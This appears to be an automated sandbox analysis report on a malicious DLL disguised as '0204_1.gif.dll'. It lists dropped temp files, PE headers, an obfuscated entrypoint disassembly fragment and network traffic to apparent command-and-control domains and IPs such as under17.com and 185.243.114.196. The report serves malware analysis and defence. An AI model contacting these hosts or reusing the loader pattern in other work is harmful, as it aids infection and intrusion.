C:\Users\user\AppData\Local\Temp\~DF4EC0ACC0598C2A74.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39577
Entropy (8bit):	0.5577818234941052
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+/V/7/5/o/r/1VGg8O4VGg8OsVGg8OF:kBqoxKAuqR+9DhAjdLILcL1
MD5:	843F1E96A2491EBABA81FD2B7E4D7EC3
SHA1:	5EE79A42C9B265ACD230DE6BA4B67F5D0C240F16
SHA-256:	5224171EB0747689181F44EC5A91BF6E9F3DD4EAF27ADEE598314068DE851F75
SHA-512:	9AFB693E494F59E8B682CA22AEDF04DC753ECFC9DC7B40B30FBE09884E506034D6395BC9BD0584F38971B361309DF834F5ED3E60732326C8490122B61DC86499
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF9401D896BB639998.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	53506
Entropy (8bit):	1.1339945391888944
Encrypted:	false
SSDEEP:	384:kBqoxKAuqR+8aAhKQ1Xb4jlWgfiOfiRZfi8AobYa:vioiPi
MD5:	4F025A160EBF95AB5CFA42DF753D41EB
SHA1:	3AB02A53341C96E854238920F45EF70C1DC5BD73
SHA-256:	38856E071442A641985086461B132324F786A08F5DB4E38E04928F25A39F3F66
SHA-512:	1314A7DCB352C22601FB8DF34AF917F947EDE78D6B6EBCEEA17CFBD408FBF0DCB2AFB5671575FC2D70A9494CB7458C8F5A391BB336DB8C3613103595D1B3789C
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF9C40D021B9977A72.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39601
Entropy (8bit):	0.5661740370033982
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+AGcdGgOeHatgRn7qOeHatgRn7qOeHatgRn7T:kBqoxKAuqR+AGcdGg7Q7A7x
MD5:	DE6B7C72C5D813A2053482E4002E1875
SHA1:	90B76A4B4179B7FC75EE196AC393279D29EBB2B9
SHA-256:	B4B90C080EF6A0832EE2A1FA7244A98DADFE9CFAD5FDB14BA9AA01CC99E5CF13
SHA-512:	B6E20520B97294A9DC4BB5EB91FEB2C08C10E47D0350F9A30C858FFEBDF31DDA8494517AFE437625BCE2B85EF7D168C8F0DD7E00AAA3395F35B54B29409694B3
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB5C248C8321BA21B.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39601
Entropy (8bit):	0.5641388426895527
Encrypted:	false
SSDEEP:	48:kBqoxKAuvScS+HVH7H5HoHEIHEuFEBcBfgV+eFEBcBfgV+OFEBcBfgV+H:kBqoxKAuvScS+1bZILhKcB8KcBsKcBN
MD5:	F9746A9685545235E0BA980D3528F92D
SHA1:	AD68B622032855C9CB43FFB1871549340335D863
SHA-256:	BFD954061BD3F1FB89D3613F856B001C8A5469BE8C77F649AADCDFE3132F2FB9
SHA-512:	5409581D77F29ABDB6051F60621DA2747DC8555FB85696EF98910B2B4A946BD56D30CB258A5E14C67E2CA79576BEB31C025B611800621DFAD5A07635749D73FA
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE1DAC2358EB1BABD.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	50659
Entropy (8bit):	0.9201780504904888
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS++4y7oqZMRbfuRbfMCRbfcRbfiRbfpRbfj7T0MRbfxtyRbf/VRbf:kBqoxKAuqR++4y7oqscAMew73hlObz
MD5:	2C78BB9F3B0B8DD6BAEC110210B5327E
SHA1:	3D17DACF345A5A117E09F633926954BC5498D934
SHA-256:	6BDC35D6A61CB6231F2410501658B9E919BAB9BE5049B67B84450241C0C9D518
SHA-512:	E65F0D50F62FFDC67E0ECAD989791678C7A5245E870221AB2B56E8530505DFF09A5D7CE33C1172BAB099F603EE8D1A968C08C0CB1486D3E09257B0199D5D3DFF
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFD6D62BD380D5B9D.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.6002404057791108
Encrypted:	false
SSDEEP:	192:kBqoIF+FgFyQp9QZIZO5KejQZOv4v/9jq:kBqoIg+o
MD5:	0B384CDAF7922641E866D9CE30D7A1B9
SHA1:	CD1F9985D2527CC2AAFCAA853A4C68C6056026D8
SHA-256:	1DB52E1C94AF2B8D11EA190DF273DB7840B3F4C79B157CC1891AE9F25A3C49C4
SHA-512:	C6B932DC0AAAFC82466CFF5837A61D5ECB84E2838A9913FFEED9366801A06CA4AE995E88880E9F717DD4F37E542B2ED482B30F6CC422AFB80948925785FF2CCE
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.610226321483174
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0204_1.gif.dll
File size:	112787
MD5:	6ebc18a521638630f9b89ddb23c13b22
SHA1:	6bf2fd63e47f2b278ef75cca3893d87855c646d6
SHA256:	65179a35467708828de13c9a53f254c956cc4235a0196e3c53ca5022c176a6aa
SHA512:	6d9de680afa776e8291a3cb05f7e4bbac934815a17ba4cc9be3405df1177e081cca5555382b5e1b45832bb9dc2d17dfaa7be01eeca8e25552600834d23d9f674
SSDEEP:	1536:DWKaY5Se9WnVI78XvnoxJasJvRHKmyGDvDk0Rt9Y56l5ZMpvV05o9OX5xPw8:DWa0eQnVI7qCqZGDvDk4wol5w0EU
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!.....Z...........`.......p.....................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006099
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	811de8e945c2087a6e052096546cd842

Entrypoint Preview

Instruction
push ebx
push ebx
and dword ptr [esp], 00000000h
add dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esi
mov dword ptr [esp], FFFF0000h
call 00007F0F90A30310h
push ecx
add dword ptr [esp], 00000247h
sub dword ptr [esp], ecx
push ecx
mov dword ptr [esp], 00005267h
call 00007F0F90A2CCB9h
push esi
mov esi, eax
or esi, eax
mov eax, esi
pop esi
jne 00007F0F90A31DB2h
pushad
push 00000000h
mov dword ptr [esp], edi
xor edi, edi
or edi, dword ptr [ebx+0041856Bh]
mov eax, edi
pop edi
push edx
add dword ptr [esp], 40h
sub dword ptr [esp], edx
push ebx
mov dword ptr [esp], 00001000h
push edi
sub dword ptr [esp], edi
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0045D014h]
mov dword ptr [ebp-04h], ecx
and ecx, 00000000h
xor ecx, eax
and edi, 00000000h
or edi, ecx
mov ecx, dword ptr [ebp-04h]
push eax
sub eax, dword ptr [esp]
or eax, edi
and dword ptr [ebx+0041809Bh], 00000000h
xor dword ptr [ebx+0041809Bh], eax
pop eax
cmp ebx, 00000000h
jbe 00007F0F90A31D8Eh
add dword ptr [ebx+004180F7h], ebx
add dword ptr [ebx+00418633h], ebx
mov dword ptr [ebp-04h], edx
sub edx, edx
xor edx, dword ptr [ebx+004180F7h]
mov esi, edx
mov edx, dword ptr [ebp-04h]
push edi
xor edi, dword ptr [esp]
xor edi, dword ptr [ebx+0041856Bh]
and ecx, 00000000h
or ecx, edi
pop edi
cld
rep movsb
push ebx
mov dword ptr [eax+eax], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17000	0x51	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d050	0x64	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5d000	0x50	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x15966	0x15a00	False	0.70799087789	data	6.48337924377	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x17000	0x51	0x200	False	0.140625	data	0.863325225156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x44c5f	0x1800	False	0.13330078125	data	0.926783139034	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x5d000	0x250	0x400	False	0.2900390625	data	2.96075631554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, CheckDlgButton, CheckMenuItem, CheckRadioButton, CheckMenuRadioItem
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, GetCurrentThreadId, GetCurrentProcess, GetCurrentThread, Module32FirstW
ole32.dll	OleInitialize
comctl32.dll	DPA_Sort

Exports

Name	Ordinal	Address
StartService	1	0x1000b959

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 09:56:12.096725941 CEST	49731	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:12.096864939 CEST	49732	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:13.261219978 CEST	49731	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:13.261276007 CEST	49732	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:13.731535912 CEST	49733	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:13.732633114 CEST	49734	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:14.827692032 CEST	49733	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:14.827832937 CEST	49734	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:15.359524965 CEST	49731	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:15.359533072 CEST	49732	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:16.839679003 CEST	49734	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:16.839688063 CEST	49733	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:19.375983953 CEST	49745	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:20.386806965 CEST	49745	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:20.862612009 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:21.871412039 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:22.387044907 CEST	49745	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:23.887120962 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 6, 2021 09:56:49.986181021 CEST	49758	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:49.987652063 CEST	49759	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:50.009907007 CEST	49760	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:50.010023117 CEST	49761	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:50.998749971 CEST	49761	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:50.998788118 CEST	49758	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:51.000185013 CEST	49759	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:51.014389992 CEST	49760	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:52.998915911 CEST	49761	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:53.014547110 CEST	49758	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:53.014547110 CEST	49760	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:53.014780998 CEST	49759	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:57.001131058 CEST	49764	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:57.032944918 CEST	49766	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:57.036500931 CEST	49765	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:57.999392033 CEST	49764	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:58.046267033 CEST	49766	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:58.046264887 CEST	49765	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:56:59.999651909 CEST	49764	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:57:00.046372890 CEST	49765	80	192.168.2.3	185.186.244.95
Apr 6, 2021 09:57:00.046591043 CEST	49766	80	192.168.2.3	185.186.244.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 09:54:54.504206896 CEST	50200	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:54:54.564409018 CEST	53	50200	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:00.146251917 CEST	51281	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:00.206820965 CEST	53	51281	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:20.537797928 CEST	49199	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:20.586859941 CEST	53	49199	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:22.196136951 CEST	50620	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:22.242232084 CEST	53	50620	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:23.715821981 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:23.776586056 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:24.581485033 CEST	60152	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:24.664185047 CEST	53	60152	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:25.655771017 CEST	57544	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:25.705579042 CEST	53	57544	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:25.839536905 CEST	55984	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:25.890918016 CEST	53	55984	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:25.965971947 CEST	64185	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:26.023046970 CEST	53	64185	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:27.071768999 CEST	65110	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:27.078222990 CEST	58361	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:27.119158030 CEST	53	65110	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:27.126667976 CEST	53	58361	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:27.166656971 CEST	63492	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:27.212841034 CEST	53	63492	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:28.969212055 CEST	60831	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:29.026247978 CEST	53	60831	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:29.067358971 CEST	60100	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:29.113094091 CEST	53	60100	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:29.402494907 CEST	53195	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:29.462807894 CEST	53	53195	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:30.096946955 CEST	50141	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:30.100956917 CEST	53023	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:30.146420956 CEST	53	50141	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:30.150290966 CEST	53	53023	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:41.038669109 CEST	49563	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:41.084599972 CEST	53	49563	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:48.581273079 CEST	51352	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:48.630168915 CEST	53	51352	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:52.820933104 CEST	59349	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:52.877217054 CEST	53	59349	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:53.718832970 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:53.775741100 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:54.796432018 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:54.842394114 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:56.277920961 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:56.323849916 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 6, 2021 09:55:58.292025089 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:55:58.337914944 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:00.371872902 CEST	58823	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:00.421405077 CEST	53	58823	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:01.230736017 CEST	57568	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:01.278012037 CEST	53	57568	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:02.307972908 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:02.353768110 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:10.400521040 CEST	50540	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:10.454762936 CEST	53	50540	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:12.005079985 CEST	54366	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:12.081111908 CEST	53	54366	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:13.645559072 CEST	53034	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:13.691240072 CEST	53	53034	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:13.862624884 CEST	57762	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:13.919054031 CEST	53	57762	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:14.072062016 CEST	55435	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:14.118011951 CEST	53	55435	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:14.542340994 CEST	50713	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:14.590416908 CEST	53	50713	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:15.046813965 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:15.092739105 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:15.614095926 CEST	58987	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:15.668504953 CEST	53	58987	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:15.752041101 CEST	56579	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:15.814610958 CEST	53	56579	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:16.302881956 CEST	60633	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:16.357342005 CEST	53	60633	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:17.159584045 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:17.214279890 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:18.437560081 CEST	63619	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:18.483690977 CEST	53	63619	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:19.104331970 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:19.153104067 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:19.574176073 CEST	61946	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:19.630949020 CEST	53	61946	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:20.500962973 CEST	64910	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:20.605565071 CEST	53	64910	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:21.310638905 CEST	52123	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:21.368184090 CEST	53	52123	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:23.657238960 CEST	56130	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:23.715796947 CEST	53	56130	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:23.761136055 CEST	56338	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:23.807647943 CEST	53	56338	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:26.433443069 CEST	59420	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:26.487623930 CEST	53	59420	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:27.934998035 CEST	58784	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:27.985817909 CEST	53	58784	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:34.248287916 CEST	63978	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:34.294377089 CEST	53	63978	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:39.853234053 CEST	62938	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:39.899269104 CEST	53	62938	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:48.560122967 CEST	55708	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:48.614381075 CEST	53	55708	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:49.841717005 CEST	56803	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:49.925148010 CEST	57145	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:49.982492924 CEST	53	57145	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:49.996510029 CEST	53	56803	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:51.002130032 CEST	55359	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:51.048753977 CEST	53	55359	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:51.901644945 CEST	58306	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:51.965435028 CEST	53	58306	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:59.034034967 CEST	64124	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:59.082752943 CEST	53	64124	8.8.8.8	192.168.2.3
Apr 6, 2021 09:56:59.874128103 CEST	49361	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:56:59.922846079 CEST	53	49361	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:04.025763988 CEST	63150	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:04.051103115 CEST	53279	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:04.071840048 CEST	53	63150	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:04.105596066 CEST	53	53279	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:09.808339119 CEST	56881	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:09.858160019 CEST	53	56881	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:10.616043091 CEST	53642	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:10.661824942 CEST	53	53642	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:11.382510900 CEST	55667	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:11.439739943 CEST	53	55667	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:12.661437035 CEST	54833	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:12.708245039 CEST	53	54833	8.8.8.8	192.168.2.3
Apr 6, 2021 09:57:13.861326933 CEST	62476	53	192.168.2.3	8.8.8.8
Apr 6, 2021 09:57:13.907584906 CEST	53	62476	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 6, 2021 09:55:27.071768999 CEST	192.168.2.3	8.8.8.8	0xf61	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:12.005079985 CEST	192.168.2.3	8.8.8.8	0xfc99	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:13.645559072 CEST	192.168.2.3	8.8.8.8	0x5829	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:26.433443069 CEST	192.168.2.3	8.8.8.8	0x137f	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:27.934998035 CEST	192.168.2.3	8.8.8.8	0xaffc	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:49.841717005 CEST	192.168.2.3	8.8.8.8	0x4c0b	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:49.925148010 CEST	192.168.2.3	8.8.8.8	0xa464	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:04.025763988 CEST	192.168.2.3	8.8.8.8	0x7d00	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:04.051103115 CEST	192.168.2.3	8.8.8.8	0x4ca0	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 6, 2021 09:55:27.119158030 CEST	8.8.8.8	192.168.2.3	0xf61	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:55:27.119158030 CEST	8.8.8.8	192.168.2.3	0xf61	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:55:27.119158030 CEST	8.8.8.8	192.168.2.3	0xf61	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:55:27.212841034 CEST	8.8.8.8	192.168.2.3	0x17ca	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:55:30.146420956 CEST	8.8.8.8	192.168.2.3	0xb8d8	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:12.081111908 CEST	8.8.8.8	192.168.2.3	0xfc99	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
